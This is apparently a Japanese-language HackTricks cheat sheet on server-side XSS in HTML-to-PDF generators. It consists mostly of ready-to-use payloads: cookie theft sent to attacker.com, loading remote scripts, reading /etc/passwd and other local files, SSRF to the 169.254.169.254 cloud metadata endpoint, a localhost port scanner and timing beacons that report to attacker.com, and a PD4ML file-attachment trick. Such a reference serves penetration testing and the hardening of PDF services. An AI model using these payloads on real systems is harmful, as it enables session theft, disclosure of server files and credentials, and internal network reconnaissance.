Server Side XSS (Dynamic PDF)

htARTE(HackTricks AWS Red Team Expert)を使って、ゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

サーバーサイドXSS(ダイナミックPDF)

Webページがユーザーが制御する入力を使用してPDFを作成している場合、PDFを作成しているボットをだますことができ、任意のJSコードを実行させることができます。 したがって、PDF作成ボットがいくつかの種類のHTML タグを見つけると、それらを解釈し、この動作を悪用してサーバーXSSを引き起こすことができます。

<script></script> タグが常に機能しないことに注意してください。そのため、JSを実行するためには別の方法が必要です(たとえば、<img を悪用する)。 また、通常の攻撃では、作成されたPDFを見る/ダウンロードすることができるため、JSを介して書いたすべてのものを見ることができます(たとえば、document.write()を使用)。ただし、作成されたPDFを見ることができない場合は、おそらくWebリクエストを送信して情報を抽出する必要があるでしょう(Blind)。

人気のあるPDF生成

  • wkhtmltopdf は、HTMLとCSSをPDFドキュメントに変換する能力で知られており、WebKitレンダリングエンジンを利用しています。このツールはオープンソースのコマンドラインユーティリティとして利用可能であり、幅広いアプリケーションで利用できます。

  • TCPDF は、PHPエコシステム内でPDF生成のための堅牢なソリューションを提供しています。画像、グラフィック、暗号化を処理でき、複雑なドキュメントを作成するための柔軟性を示しています。

  • Node.js環境で作業している場合、PDFKit は適切な選択肢です。HTMLとCSSから直接PDFドキュメントを生成でき、Webコンテンツと印刷可能な形式の間の橋渡しを提供します。

  • Java開発者は、PDF作成だけでなくデジタル署名やフォーム入力などの高度な機能をサポートするライブラリであるiText を好むかもしれません。包括的な機能セットにより、安全でインタラクティブなドキュメントを生成するのに適しています。

  • FPDF は、シンプルさと使いやすさで区別される別のPHPライブラリです。広範な機能を必要とせずにPDF生成に取り組む開発者向けに設計されています。

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

前述のいずれかのペイロードを、このSVGペイロード内で使用できます。Burpcollabサブドメインにアクセスする1つのiframeと、メタデータエンドポイントにアクセスする別のiframeが例として挙げられています。

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

あなたはhttps://github.com/allanlw/svg-cheatsheetで多くの他のSVGペイロードを見つけることができます。

パス開示

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

外部スクリプトの読み込み

この脆弱性を悪用する最も確実な方法は、ボットがローカルでコントロールするスクリプトを読み込むように脆弱性を悪用することです。その後、ペイロードをローカルで変更し、ボットが常に同じコードでそれを読み込むようにします。

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

ローカルファイルの読み取り / SSRF

例として file:///etc/passwdhttp://169.254.169.254/latest/user-data に変更して、外部のウェブページにアクセスしようとしてください(SSRF)。

SSRFが許可されている場合でも、興味深いドメインやIPに到達できない場合は、潜在的なバイパスをチェックするためにこのページを確認してください

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

ボットの遅延

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

ポートスキャン

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

この脆弱性は、スクリプトが外部リソースを読み込むことができるため、SSRFに非常に簡単に変換できます。そのため、単にそれを悪用してみてください(メタデータを読む?)。

添付ファイル: PD4ML

いくつかのHTML 2 PDFエンジンは、PD4MLのようにPDFに添付ファイルを指定することができます。この機能を悪用して、PDFに任意のローカルファイルを添付することができます。 添付ファイルを開くには、Firefoxでファイルを開き、ペーパークリップシンボルをダブルクリックして、添付ファイルを新しいファイルとして保存します。 BurpでPDFレスポンスをキャプチャすると、PDF内の添付ファイルがクリアテキストで表示されるはずです。

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated